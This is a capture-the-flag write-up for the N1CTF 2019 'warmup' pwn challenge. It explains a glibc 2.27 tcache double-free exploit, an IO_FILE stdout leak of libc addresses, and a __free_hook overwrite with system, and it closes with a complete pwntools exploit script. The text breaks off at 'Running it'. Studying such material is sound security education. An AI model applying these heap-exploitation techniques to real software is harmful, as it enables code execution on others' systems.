[Pwn] N1CTF 2019 - warmup

warmup

Description:
192

Solvers 43

attachment:https://share.weiyun.com/5NiPNJA password:ryzwab

or

https://drive.google.com/file/d/14ablm3PSKd1q0RDQUt4rZa-FCy7_wCSo/view?usp=sharing

nc 47.52.90.3 9999

Info extracting

Binary and libc-2.27.so is given, since is 2.27 version we know that tcache is being used and on this version there isn’t any security checks if a chunk is placed in tcache bin.

First we start by using the file command:

1
2
$ file warmup
warmup: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=8b691053c73440b1f889e70408fa631d2a34c6f3, stripped

With this we know:

  • ELF compiled for x86_x64 architecture.
  • Dynamically linked.
  • Stripped (A little bit harder to reverse).

Next step is to check protections:

1
2
3
4
5
6
7
checksec warmup
[*] '/ctf/work/pwn/warmup/warmup'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Brief analysis of these protections:

  • FULL RELRO (GOT entries are read only we can’t overwrite them)
  • STACK CANARY (The stack is protected with the canary if there is a stack overflow we need to find a way to leak it)
  • The Stack is not executable (We can’t execute shellcode, techniques like ROP can bypass this)
  • PIE (Position Independent Executable) is on (If we want to use rop we need a way to leak the base address)

Testing the binary

As always for this kind of challenges we are presented with a menu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ./warmup 
Loading......
# # # ##### ####### #######
## # ## # # # #
# # # # # # # #
# # # # # # #####
# # # # # # #
# ## # # # # #
# # ##### ##### # #
===========================================
1.add.
2.delete.
3.modify.
4.exit.
>>

We can add, delete and modify.

By adding we can only specify the content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#     #    #     #####  ####### #######
## # ## # # # #
# # # # # # # #
# # # # # # #####
# # # # # # #
# ## # # # # #
# # ##### ##### # #
===========================================
1.add.
2.delete.
3.modify.
4.exit.
>>1
content>>hello
done!

For delete and edit we can both specify a index in case of modify we can also modify the content we previously added on creation.

Static analysis with IDA

Analysis of delete function



Analysis of add function



Analysis of edit function


Exploit

As you have noticed we don’t have any read/print function that would allow us to print the contents of the created items because of this we need to find another way to leak a libc address, we can do it by manipulation the IO_FILE struct to make puts leaking an address.

The plan is:

  • Use tcache dup to overwrite the size of a chunk into a size of unsorted bin range (0x91 for example)
  • Fill the tcachebin size 0x91 by freeing it 7 times (max 7)
  • One more free will put this chunk into an unsorted bin both fd and bk are updated into libc addresses from the main arena.
  • Do a 4 bit brute force by updating the last 2 bytes of the fd libc address to get stdout.
  • Resize from 0x91 back to 0x51 so next free gets into a tcache bin again.
  • Overwrite stdout->_flags with 0xfbad1800 and _IO_read_ptr, _IO_read_end, _IO_read_base with NULL and the last byte of _IO_write_base with NULL.
  • Extract libc addresses from next puts.
  • Overwrite free_hook with system and modify its fd to /bin/sh\x00, Doing a free will get a shell for us.

Tcache dup

Libc-2.27 uses tcache so every allocated chunk bellow 0x410 when freed is placed in a tcachebin , their behaviour will be very similar to when they were inserted in a fastbin chunk before tcache was introduced. The main problem is we can only allocate 0x40 chunks (0x51 -> size + flags) for example if we allocate one item this is how it looks like in the heap:



In order to transform the chunk above into a chunk in range of a unsorted bin(unsorted bin because after a free it will update fd bk pointers into libc addresses) we kinda need an arbitrary write.

This can be achieved with double free and by changing the fd pointer into a place we want to write, when malloc executes it will return the modified fd pointer in our case we want it to be right at the chunk header (0x5595b74c0660) so we can modify the size from 0x51 to 0x91.

Imagine after chunk A we allocate more 2 chunks B and C, if we free B first, free will check if there is any chunk inside tcachebin of size 0x50:



As you can see above there isn’t any list of size 0x50 so it will update the fd of the chunk to null.

Chunk B before free:


Chunk B after free:


The pointer to the current freed chunk is inserted into tcachebin(0x50) at the head:


If we free chunk C now its fd is updated to chunk B pointer:


And the current freed chunk pointer is inserted at the head of tcachebin(0x50):


Now if we free Chunk A its fd is going to point to chunk C:


Chunks A content pointer is added to the tcachebin(0x50) linked list:


If we double free Chunk A its fd is going to point to its own because the previous freed as chunk A:


Chunks A content pointer is added to tcachebin(0x50):


Notice that ALSR doesn’t modify the last 3 numbers of the pointers of each chunk on the heap:


The reason why there is a tcachebin is to reuse space on the heap when a new chunk is allocated, if it’s a perfect fit for example malloc will look at the list of that size and reposition the new allocated chunk on the same places where old chunks were freed. And this is why double freeing is so powerful, since one of the pointers is repeated in the list if we allocate one and modify the last byte of the fd to 0x60 we can make the next malloc to return to the fd we want getting an arbitrary write.

So this is how the exploit looks like right now:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def exploit():
global r
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xBFB,0xD25]) # add BFB free 0xD25

add('A'*0x10) # 0
add('B'*0x30 + p64(0x0)+p64(0x51)) # TO PREVENT double free or corruption (!prev) 1
add('C'*0x30 + p64(0x0)+p64(0x01)) # TO PREVENT corrupted size vs. prev_size 2

free(1)
free(2)
free(0)
free(0)

The tcache bin list right now is:

1
0x50 [4]: 0x56018d3ae670 -> 0x56018d3ae670

If we do this mallocs:

1
2
3
4
5
6
7
8
# 0x50 [4]: 0x56018d3ae670 -> 0x56018d3ae670
add('\x70') # malloc will return 0x56018d3ae670 and updates last byte of fd to 0x70 | Index 0
# 0x50 [3]: 0x56018d3ae670 -> 0x56018d3ae670
add('\x60') # malloc will return 0x56018d3ae670 and updates last byte of fd to 0x60 | Index 1
# 0x50 [2]: 0x56018d3ae670 -> 0x56018d3ae660
add('\x60') # malloc will return 0x56018d3ae670 and updates last byte of fd to 0x60 | Index 2
# 0x50 [1]: 0x56018d3ae660
add(p64(0x0)) # malloc will return 0x56018d3ae660 | Index 3

After this if we edit index 3:

1
2
3
free(0) # 0x50 [  1]: 0x56018d3ae670 <- 0x0
free(0) # 0x50 [ 2]: 0x56018d3ae670 <- 0x56018d3ae670
edit(3, p64(0x0)+p64(0x91)) # modifies the header of chunk A from p64(0x0)+p64(0x51) to p64(0x0)+p64(0x91)

The look of chunk A in GDB after edit:


Now that we have a 0x91 chunk we need to fill tcachebin of 0x91, we can do this by freeing it 7 times:

1
2
for _ in xrange(7):
free(1)

The look at tcachebins after this:


Next free(1) the chunk is going to be inserted into an unsortedbin:


The reason for an unsortedbin is because both fd and bk will be updated into libc addresses:


The reasons why I created chunk B and C was to be able to free this chunk, because tcache is full next free will have security checks, on my old write up of penpal world I did the same thing and I explained why chunk B and C bypass this checks you can find it at https://teamrocketist.github.io/2019/08/17/Pwn-RedpwnCTF-penpal-world/

The first thing we want to do now is to convert this bin again back to 0x51 size we still have its pointer saved at index 3 so we can easily do it with:

1
edit(3, p64(0x0)+p64(0x51))

We want to do this because tcachebin(0x91) is full , we want to manipulate tcachebins again, since we already double freed before at tcachebin(0x50).

The other reason is that we can only malloc chunks of size 0x51.

Lets compare the difference of stdout address and the address that got placed at the fd .

Stdout address:

1
2
pwndbg> p/x stdout
$3 = 0x7f8421047760

fd pointer at chunk A:

1
2
pwndbg> x/20gx 0x56018d3ae660+0x10
0x56018d3ae670: 0x00007f8421046ca0 0x00007f8421046ca0

We want to modify 0x7f8421046ca0 to 0x7f8421047760 we only need to change the last 2 bytes, we know that the last 3 numbers of stdout never change(670), they are always the same, so the only thing we need to brute force is the 4th this means if we try to modify the last two bytes of the fd to p16(0x7760) we would have a probability of 1/16 because the only possibilities for last bytes of stdout are:

0760
1760
2760
3760
4760
5760
6760
7760
8760
9760
a760
b760
c760
d760
e760
f760

This is the look of tcachebins right now:


So on our second malloc, the pointer returned will be the libc address but before that we need to modify the last 2 bytes from one of the 16 possibilities:

1
edit(2, p16(0x7760))

Now if we succeed to bruteforce stdout we need to overwrite stdout->_flags with 0xfbad1800 and _IO_read_ptr, _IO_read_end, _IO_read_base with NULL and the last byte of _IO_write_base with NULL, if we do this next puts will leak a bunch of libc addresses a more detailed explanation on why this works can be found at https://vigneshsrao.github.io/babytcache/ this guy explains it very well.

1
2
3
4
5
6
7
8
add('A')
try:
#context.log_level = 'debug'
add(p64(0x0fbad1800)+ 3*p64(0) + '\x00')
except:
log.failure("not lucky enough!")
r.close()
return False

if we succeed something like this is printed to the screen where we can see a lot of libc addresses leaked there:


Now adapting a bit more our code to make sure we got libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
r.recv(0x8)
leak = u64(r.recv(6).ljust(8,'\x00'))
LIBC = leak-0x3ed8b0
SYSTEM = LIBC + libc.symbols['system']
FREE_HOOK = LIBC + libc.symbols["__free_hook"]
MALLOC_HOOK = LIBC + libc.symbols["__malloc_hook"]
if LIBC >> 40 != 0x7f or LIBC & 0xFFF != 0:
log.failure("not lucky enough!")
r.close()
return False
log.success("0x%x"%leak)
log.success("LIBC: 0x%x" % LIBC)
log.success("SYSTEM: 0x%x" % SYSTEM)
log.success("FREE_HOOK: 0x%x" % FREE_HOOK)

In the end, we have everything we need modify the fd of the object you want to free with /bin/sh and overwrite free_hook with system so next time we trigger free we get a shell!

1
2
3
4
5
6
7
8
9
10
11
free(0)
free(0)
free(0)
add(p64(0)+p64(0x21)) # 0
edit(0,p64(FREE_HOOK))
add(p64(0)+p64(0x21)) # 1
add(p64(SYSTEM)) # 4

edit(2, "/bin/sh\x00")
free(2)
r.interactive()

Full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
host, port = "47.52.90.3", "9999"
filename = "./warmup"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.27.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(r,gdbscript=script)

def add(content):
r.recvuntil('>>')
r.sendline('1')
r.sendafter('content>>', content)

def free(index):
r.recvuntil('>>')
r.sendline('2')
r.sendlineafter('index:', str(index))

def edit(index, content):
r.recvuntil('>>')
r.sendline('3')
r.sendlineafter('index:', str(index))
r.sendafter('content>>', content)

context.terminal = ['tmux', 'new-window']

def exploit():
global r
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xBFB,0xD25]) # add BFB free 0xD25

add('A'*0x10) # 0
add('B'*0x30 + p64(0x0)+p64(0x51)) # TO PREVENT double free or corruption (!prev) 1
add('C'*0x30 + p64(0x0)+p64(0x01)) # TO PREVENT corrupted size vs. prev_size 2

free(1)
free(2)
free(0)
free(0)

add('\x70') # 0
add('\x60') # 1
add('\x60') # 2
add(p64(0x0)) # 3

free(0)
free(0)

edit(3, p64(0x0)+p64(0x91))
for _ in xrange(7):
free(1)
free(1)

#edit(1, p16(0x95dd))
edit(3, p64(0x0)+p64(0x51))
#edit(2, '\x60\x07\xdd')#p16(0xb760))
if args.REMOTE:
edit(2, p16(0xb760))
else:
edit(2, '\x60\x07\xdd') # echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
add('A')
try:
#context.log_level = 'debug'
add(p64(0x0fbad1800)+ 3*p64(0) + '\x00')
except:
log.failure("not lucky enough!")
r.close()
return False

r.recv(0x8)
leak = u64(r.recv(6).ljust(8,'\x00'))
LIBC = leak-0x3ed8b0
SYSTEM = LIBC + libc.symbols['system']
FREE_HOOK = LIBC + libc.symbols["__free_hook"]
MALLOC_HOOK = LIBC + libc.symbols["__malloc_hook"]
if LIBC >> 40 != 0x7f or LIBC & 0xFFF != 0:
log.failure("not lucky enough!")
r.close()
return False
log.success("0x%x"%leak)
log.success("LIBC: 0x%x" % LIBC)
log.success("SYSTEM: 0x%x" % SYSTEM)
log.success("FREE_HOOK: 0x%x" % FREE_HOOK)

free(0)
free(0)
free(0)
add(p64(0)+p64(0x21)) # 0
edit(0,p64(FREE_HOOK))
add(p64(0)+p64(0x21)) # 1
add(p64(SYSTEM)) # 4

edit(2, "/bin/sh\x00")
free(2)
r.interactive()
print '-------------------------------------------------------------------------'
r.close()
return True
while not exploit():
pass

Running it